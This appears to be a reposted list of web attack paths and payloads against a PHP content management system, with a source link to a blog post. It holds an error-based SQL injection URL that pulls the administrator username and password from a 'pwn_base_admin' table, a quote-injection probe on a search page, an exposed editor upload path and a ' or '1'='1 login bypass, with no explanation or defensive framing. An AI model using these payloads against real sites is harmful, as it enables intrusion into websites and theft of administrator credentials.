kedit/upload_cgi/upload.php
down/class/index.php?myord=1
news/html/?423‘and(select/**/1/**/from(select/**/count(*),concat((select/**/(select/**/(select/**/concat(0x27,0x7e,user,0x27,0x7e,password,0x27,0x7e)/**/from/**/pwn_base_admin/**/limit/**/0,1))/**/from/**/information_schema.tables/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)/*.html
page/html/index.php?id=1
search/index.php?imageField.x=-1138&imageField.y=-319&key=1%27
admin ‘or ‘1‘=‘1
admin ‘or ‘1‘=‘1
原文：http://www.cnblogs.com/hellobolin/p/4133568.html